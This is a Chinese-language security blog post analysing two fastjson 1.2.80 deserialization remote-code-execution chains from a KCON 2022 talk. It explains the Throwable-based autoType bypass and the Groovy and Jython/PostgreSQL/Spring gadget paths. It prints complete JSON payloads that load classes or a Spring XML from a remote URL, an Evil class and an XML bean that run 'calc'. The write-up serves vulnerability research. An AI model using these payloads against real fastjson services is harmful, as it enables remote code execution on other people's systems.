原创 | 从KCON2022议题来看fastjson新版本RCE

admin 2023年3月24日09:56:06评论76 views字数 5055阅读16分51秒阅读模式

点击蓝字




关注我们



fastjson <= 1.2.80


首先还是贴一点前面几篇文章已经提到的分析,作为一点对fastsjon 1.2.80的基础知识,当然,还是不懂得,可以看我有一篇fastjson的分析合集,从fastjson从无到有的漏洞都有。


对上个版本的修复

将期望类java.lang.AutoCloseable加入了黑名单。

漏洞分析


但是除了AutoCloseable可以进行绕过,Throwable也可以进行绕过,简单分析一下。

主要是找到一个Deserializer可以将expressClass作为checkAutoType的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze中存在。

原创 | 从KCON2022议题来看fastjson新版本RCE

这里限制了必须为Throwable类或子类,存在一个java.lang.Exception类,不仅在TypeUtils.mappings中存在,而且没有在黑名单中。

原创 | 从KCON2022议题来看fastjson新版本RCE

所以只需要找到继承java.lang.Exception的类,就能够绕过检查,跟进代码,在第一次进入checkAutoType中的时候expectClass为null。

原创 | 从KCON2022议题来看fastjson新版本RCE

一直跟进到这里尝试从mappings中获取缓存。
原创 | 从KCON2022议题来看fastjson新版本RCE
之后在ParserConfig#getDeserializer通过clazz获取到了反序列化器为ThrowableDeserializer
原创 | 从KCON2022议题来看fastjson新版本RCE
之后调用其derserialize方法,跟进。
原创 | 从KCON2022议题来看fastjson新版本RCE

之后在这里获取下一个@type

原创 | 从KCON2022议题来看fastjson新版本RCE

最后在这里将java.lang.Exception类作为expressClass传入,也能够成功绕过黑名单的检验


因为Exception类也是继承至Throwable类,所以我们在寻在payload的时候就可以通过寻找Throwable的子类就可以将特定类添加进入缓存中。


KCON议题分析


其在议题中阐述主要得触发点就是在JSON.toJavaObject方法中。

原创 | 从KCON2022议题来看fastjson新版本RCE

他会调用TypeUtils.cast方法,跟进一下。

原创 | 从KCON2022议题来看fastjson新版本RCE

将会继续调用cast方法。

原创 | 从KCON2022议题来看fastjson新版本RCE

之后调用了castToJavaBean中。
原创 | 从KCON2022议题来看fastjson新版本RCE

这里通过map.get获取了@type标志后的对象,这里有一个需要注意的点就是需要将@type通过"@type":"java.lang.String"将其转为字符串,不然会将其后面的内容进行反序列化操作,之后将会将其类加入缓存,并且调用了最后的return语句调用castToJavaBean方法。


也就是上面截图中的方法,他会判断后面的类是不是接口,是不是Locale类等等,在最后关键的是有一个javaBeanDeserializer的一个获取,对于Exception类来说。
原创 | 从KCON2022议题来看fastjson新版本RCE

对于Exception类来说因为继承至Throwable类,所以其对应的反序列化器就是ThrowableDeserializer

原创 | 从KCON2022议题来看fastjson新版本RCE

特别的,对于这个序列化器,由下图可以很明白的知道他是继承至JavaBeanDeserializer反序列化器的。

原创 | 从KCON2022议题来看fastjson新版本RCE

所以最后回到之前讲的castToJavaBean方法中,就能够满足deserializer instanceof JavaBeanDeserializer的判断条件,将反序列化其传递给javaBeanDeser,最后调用了其createInstance方法,触发了后面的反序列化链。

原创 | 从KCON2022议题来看fastjson新版本RCE


利用链


RCE1

主要是在Throwable的子类
org.codehaus.groovy.control.CompilationFailedException类中做文章。
原创 | 从KCON2022议题来看fastjson新版本RCE

在这个构造方法中存在一个ProcessingUnit类型的参数unit,至于为什么选择这个构造方法,而不是下面的两个形参的构造方法呢?这就是因为在JavaBean实例化机制中如果有多个构造方法就会选用形参较多的一个构造方法,回归正题,跟进ProcessingUnit

原创 | 从KCON2022议题来看fastjson新版本RCE

他是一个抽象类,我们找找他的实现。

原创 | 从KCON2022议题来看fastjson新版本RCE

存在JavaStubCompilationUnit这样一个子类。
原创 | 从KCON2022议题来看fastjson新版本RCE

在其构造方法中存在有CompilerConfiguration类型的config,因为在构造方法中会调用父类的构造方法。

原创 | 从KCON2022议题来看fastjson新版本RCE

再次调用构造方法。
原创 | 从KCON2022议题来看fastjson新版本RCE
又调用了他的父类ProcessingUnit的构造方法。
原创 | 从KCON2022议题来看fastjson新版本RCE
特别注意,这里能够调用setClassLoader方法。
原创 | 从KCON2022议题来看fastjson新版本RCE
因为之前在构造JavaStubCompilationUnit类的对象的时候我们只传入了一个参数config,所以这里loader为Null, 创建GroovyClassLoader类,最后会来到。
原创 | 从KCON2022议题来看fastjson新版本RCE
从这里我们可以知道,取出了config的classpath值, 添加进入了GroovyClassLoader的classpath中去了,所以回到之前构造confg对象的时候我们可以设置一个远程地址,之后会调用
ASTTransformationVisitor#addPhaseOperations方法。

原创 | 从KCON2022议题来看fastjson新版本RCE

紧接着调用了addGlobalTransforms方法,最终会调用到addPhaseOperationsForGlobalTransforms方法。

原创 | 从KCON2022议题来看fastjson新版本RCE
在这里他首先通过loadclass方法加载类,之后会判断是否有GroovyASTTransformation注解,如果没有将会出现异常,之后会将类进行实例化。
payload
public class Fj80_POC {    private static String poc1 = "{n" +            "    "@type":"java.lang.Exception",n" +            "    "@type":"org.codehaus.groovy.control.CompilationFailedException",n" +            "    "unit":{}n" +            "}";
private static String poc2 = "{n" + " "@type":"org.codehaus.groovy.control.ProcessingUnit",n" + " "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",n" + " "config":{n" + " "@type":"org.codehaus.groovy.control.CompilerConfiguration",n" + " "classpathList":"http://127.0.0.1:9999/"n" + " }n" + "}";
/* META-INF/services/org.codehaus.groovy.transform.ASTTransformation Evil Evil.class */
public static void main(String[] args) { try { JSON.parseObject(poc1); } catch (Exception e){}
JSON.parseObject(poc2); }}
原创 | 从KCON2022议题来看fastjson新版本RCE
Evil.java
import java.io.IOException;import org.codehaus.groovy.ast.ASTNode;import org.codehaus.groovy.control.SourceUnit;import org.codehaus.groovy.transform.ASTTransformation;import org.codehaus.groovy.transform.GroovyASTTransformation;
@GroovyASTTransformationpublic class EvilObject111 implements ASTTransformation { public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {}
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } }}

RCE2

这条链子主要是在org.python.antlr.ParseException中,其中存在一个setType方法。
原创 | 从KCON2022议题来看fastjson新版本RCE
其为PyObject对象。
原创 | 从KCON2022议题来看fastjson新版本RCE
浅蓝师傅找到了com.ziclix.python.sql.PyConnection类继承了PyObject类,其构造方法中存在java.sql.Connection的接口。
原创 | 从KCON2022议题来看fastjson新版本RCE
原创 | 从KCON2022议题来看fastjson新版本RCE
其中有一个PgConnection类,在其构造方法中,具有
ConnectionFactory.openConnection的调用。
原创 | 从KCON2022议题来看fastjson新版本RCE
将会来到openConnectionImpl方法的执行。
原创 | 从KCON2022议题来看fastjson新版本RCE
调用SocketFactoryFactory.getSocketFactory。

原创 | 从KCON2022议题来看fastjson新版本RCE

之后取出FactoryClass类名,之后进行实例化,跟进。
原创 | 从KCON2022议题来看fastjson新版本RCE
如果这里的类名我们定义为
org.springframework.context.support.ClassPathXmlApplicationContext类名,就会实例化这个类。
原创 | 从KCON2022议题来看fastjson新版本RCE
传入远程的xml文件,将会造成SPEL命令执行。
payload
Spring-Evil.xml
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc" /> <property name="a" value="#{ pb.start() }" /> </bean></beans>
private static String poc1 = "{n" +        "    "@type":"java.lang.Exception",n" +        "    "@type":"org.python.antlr.ParseException"n" +        "}";private static String poc2 = "{n" +        "    "@type":"java.lang.Class",n" +        "    "val":{n" +        "        "@type":"com.alibaba.fastjson.JSONObject",{n" +        "            "@type":"java.lang.String"n" +        "            "@type":"org.python.antlr.ParseException",n" +        "            "type":""n" +        "        }n" +        "     }n";private static String poc3 = "{n" +        "     "@type":"org.python.core.PyObject",n" +        "     "@type":"com.ziclix.python.sql.PyConnection",n" +        "     "connection":{" +        "    "@type":"org.postgresql.jdbc.PgConnection",n" +        "    "hostSpecs":[{"host":"127.0.0.1","port":2333}],n" +        "    "user":"user",n" +        "    "database":"test",n" +        "    "info":{n" +        "        "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",n" +        "        "socketFactoryArg":"http://127.0.0.1:9999/spring-Evil.xml"n" +        "    },n" +        "    "url":""n" +        "   }n" +        "}";
原创 | 从KCON2022议题来看fastjson新版本RCE

往期推荐



原创 | 网鼎杯ezjava利用分析

原创 | VMWare Workspace ONE Access Auth Bypass

原创 | 浅析RDP攻击面

原文始发于微信公众号(SecIN技术平台):原创 | 从KCON2022议题来看fastjson新版本RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月24日09:56:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 从KCON2022议题来看fastjson新版本RCEhttp://cn-sec.com/archives/1621690.html

发表评论

匿名网友 填写信息